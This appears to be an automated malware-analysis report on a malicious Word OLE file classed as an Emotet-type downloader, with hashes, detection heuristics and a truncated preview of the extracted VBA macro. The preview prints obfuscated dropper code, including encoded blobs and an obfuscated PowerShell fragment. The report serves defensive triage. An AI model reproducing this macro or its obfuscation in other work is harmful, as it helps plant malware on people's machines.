Office (OLE) malware analysis — malicious · 76778a4221a99135

MALICIOUS

Office (OLE)

133.5 KB Created: 2018-04-01 21:29:00 Authoring application: Microsoft Office Word First seen: 2020-02-04

MD5: cee248ee3e6f949a10c6b9bcd8bd8353 SHA-1: baa2c6c7971af9c70e82cbf00788619fcc39e3de SHA-256: 76778a4221a991356661a4b1579adeb67d4e5d8df9b95299d4dfafb6f4e1d477

224 Risk Score

Malware Insights

MITRE ATT&CK

T1059.005 Visual Basic T1204.002 Malicious File

The file is identified as malicious by ClamAV and contains a VBA macro with an AutoOpen function, indicating it is designed to execute automatically upon opening. The macro utilizes CreateObject, a common technique for launching malicious payloads. While the exact download URL is obfuscated within the script, the presence of the 'macros.bas' artifact strongly suggests a downloader or dropper functionality.

Heuristics 8

ClamAV: Doc.Malware.Emodldr-10025032-0 critical CLAMAV_DETECTION

ClamAV detected this file as malware: Doc.Malware.Emodldr-10025032-0
VBA macros detected medium 3 related findings OLE_VBA_MACROS

Document contains VBA macro code
AutoOpen macro high OLE_VBA_AUTOOPEN

AutoOpen macro
CreateObject call high OLE_VBA_CREATEOBJ

CreateObject call
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC

Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC

OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE

One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
Embedded URL info EMBEDDED_URL

One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.

URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`macros.bas`	vba-macro	oletools.olevba.extract_macros (decoded VBA source)	33400 bytes
SHA-256: `b3074a466301b56edc49aea04a80fed8df80f81dea3822ed95e6aaad51aead98`
Detection ClamAV: No threats found Obfuscation or payload: likely Carved artifact contains 19 long base64-like blob(s).
Preview script First 1,000 lines of the extracted script Attribute VB_Name = "ZnROIPraqzItDR" Attribute VB_Base = "1Normal.ThisDocument" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = True Attribute VB_Customizable = True Attribute VB_Name = "cOPwEiYtDzrYW" Function dGIzTPdVR() On Error Resume Next VSiKmb = mXjppi XRoTUO = 68331 amWOFu = 45225 + 43434 * wkYFRk + CDate(jwKZYJ + CDbl(85830)) * 44264 - 84744 vRwlq = JRTsI("X@jf@mAAMQA0AGEAOQA1AGUAOQAyADcAMABiAGEAZQAwADgAMABiAGUAOQBiAGIAMQAxADgAMwBjlzZ", 7, 70) NLFsAj = mswnYW OBwqFJ = 81132 hznVD = 19593 + 20050 * tzWcj + CDate(RuzAj + CDbl(35949)) * 48046 - 77658 ipZKHO = jVZMb dhkGfY = 18731 rzrjT = 63146 + 54180 * vzNfY + CDate(BXaHr + CDbl(62275)) * 50611 - 74828 JtjntFCmj = JRTsI("FDQAZgBjADkAMQAwADYAYwA4AGUANwA2AGYANQAxAGEAOAA1ADQANgAxADMANgBmADcAZQA1ADcANQAzAGEANAA1ADYANgBmADEANABmAGIAMQA3ADUANgA3AGIAOQA1ADgAYwA5AGUAOABmADQANQA1ADgAMQBmAGMAOAA1ADAS%oni5", 2, 170) zhidh = ihDcWq ibniai = 48463 wvKMjM = 61626 + 45694 * dzElrC + CDate(DuLRPK + CDbl(5088)) * 4683 - 50597 zcOvD = Jdsmnp ApczM = 46540 hrznl = 54478 + 59917 * JHMiA + CDate(nbRsEz + CDbl(32970)) * 85652 - 75020 iivVLYdcG = JRTsI("ijkFkQAZQAxAGUAMgAwAGUAMwAxADkAOQA0ADYbh", 6, 33) hQRLCj = TjLYHi KaUlUl = 49018 pHMOL = 8934 + 16178 * poEJG + CDate(LUUZZ + CDbl(86556)) * 96736 - 77883 HjONT = ZmvNi tPwTiq = 7104 wcQOvn = 24745 + 25950 * SZEKz + CDate(BbEXcB + CDbl(68731)) * 96461 - 874 AzXnQTUIG = JRTsI("U6FIsGmAGYAYgA3AGQANQBlADUAZgAwAGQAZABkAGEANwAwADcAOAAzAGUANABlADIAYgBiADQANQBmADQANgBiADMAYQA1AGYANgAyADYAMgA2AGYANAA4ADYAMQBkAGYAYQA5ADYAOQA3AV2n", 7, 138) djaiv = mNfFfP SfnMT = 55052 Zawbzs = 58213 + 35302 * oOdQNR + CDate(miXbn + CDbl(82538)) * 59468 - 84262 tvBlMN = aojiHD adFLv = 82134 ortHjF = 39727 + 67765 * aBwIOp + CDate(ACbTtf + CDbl(62421)) * 26500 - 99784 CsKiqujNuHi = JRTsI("7D7ZAA2ADIANgBmADMAMAAyADIANQBmADYANwAyADYAMAAwAGQAZAAyADkAYgBhAGEAZQBjAGUAOAAxAGMANgAwAGUAYQBkADAAYwA3ADcAOQAwAGYAMAA3ADIANgBjADcANwBiAGYCs5J", 4, 135) XzIQhG = OEEHi HTrwFc = 20780 ukqFIU = 43942 + 69450 * KfHBh + CDate(absvv + CDbl(89566)) * 19344 - 71413 NVmIF = XzjWIH vGTwMU = 82836 jMzAnh = 45833 + 19021 * rjWvi + CDate(QdHVj + CDbl(53844)) * 1644 - 40549 pRKzn = JRTsI("PqvAGIAMQAxADUAMABmADQAOQBlADQAMgAxADAANAAwAGYAZAAwAGMANAAwADcAZAA5AGQAZAAzAGIAMABhADcANQBkADUAZgA5AGEANQBmADgAZAA3ADkAYQA3ADgAZgBjADUANwA5AGEAMQA4ADYAOAA0AGMAMAA1ADQAYQAwADAAOAA3ADgAMAAwADQAMbvz", 4, 189) Asrfo = KppLh pHSLz = 76843 fckoR = 63601 + 5201 * EwKQf + CDate(sAuqsV + CDbl(37460)) * 63726 - 82457 SHOfV = EOiKXl QZPzi = 92553 EGFKaZ = 80588 + 20188 * aBjzA + CDate(nmztk + CDbl(72952)) * 21209 - 76180 TrdwzMGOdw = JRTsI("skivA3ADcAOABlAGIAZQBhAGIAMABkADcAOAAxAGQANwBjADcAOQBkADAAMwBlADgANQBhAGQAYQBmADIAYQA4ADUANQA1ADIANQBhAGUC4zZ", 5, 101) UFKjjS = CvEwL DFvrt = 6292 IonAu = 72760 + 56440 * oLMtTb + CDate(UPGdsO + CDbl(98509)) * 75573 - 87131 QFUCh = TjIqYz uTpYzZ = 22673 pAujit = 25885 + 78400 * wOmcl + CDate(pTZrn + CDbl(91925)) * 76586 - 93908 jZTsAPmpGT = JRTsI("H& ( $vERBosEprEferENCe.tostRinG()[1,3]+'X'-joIN'') ( ( [RuNtimE.inTeRoPseRvICeS.mArshAL]::pTrtOStriNgaNSI( [RuNTIMe.INteroPSERVICEs.MARShAl]::SecuREstrINgtogLOBAlalLoCAnsI($('76492d1116743f04f8O4KzM", 2, 191) jiSlFW = zFjaF WCjGrB = 84165 LQIGz = 10225 + 49728 * YvBDGz + CDate(acjlt + CDbl(33381)) * 63185 - 91124 ptKDrt = pjiui iLLuph = 65775 nvrrq = 75467 + 87605 * TIMnL + CDate(QbCDj + CDbl(7748)) * 28684 - 44604 sAbRqOzi = JRTsI("nwRDUAYgA1ADUANwBmA5zp", 4, 16) cYwLh = kfbtX zSMBG = 44096 MViviV = 89876 + 68503 * mAiEQi + CDate(SubMB + CDbl(66054)) * 55514 - 71309 SqfljC = tlApJm TrcUE = 78253 aiafXQ = 781 + 15515 * szaKL + CDate(qOWuRC + CDbl(71917)) * 86813 - 81497 TisDVaz = JRTsI(",jANgAwADMANgBiAGUANQBiADYAZgBlAGIAZAAwADUAOQA5ADEAMwA0ADMAZABiAGUAZABhAGIAZgA4AGMAZQBkADYAMQA4ADYAYgBlADYANgBmADgAOQA5ADcAZQBhADEAOAA0ADIAYwBiADAADbozW9", 3, 145) KAImiW = UVrHEG ldlWH = 83588 bNoAOw = 18766 + 45230 * ppklMP + CDate(WjVKFp + CDbl(36798)) * 45791 - ... (truncated)

Open this report in the interactive analyzer, or submit your own file for analysis.